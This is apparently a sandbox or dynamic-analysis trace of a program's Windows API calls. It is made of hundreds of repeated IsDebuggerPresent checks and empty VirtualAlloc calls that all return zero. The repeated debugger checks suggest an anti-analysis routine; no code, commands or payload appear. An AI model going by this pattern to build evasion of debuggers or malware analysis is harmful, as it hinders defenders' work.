[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.494] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.495] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.496] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.497] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.498] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.499] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.500] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.501] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.502] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.503] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] IsDebuggerPresent () returned 0
[0062.504] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.504] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.504] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.504] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.505] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.506] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.508] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.509] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.510] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.511] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.512] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.513] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.514] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.515] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
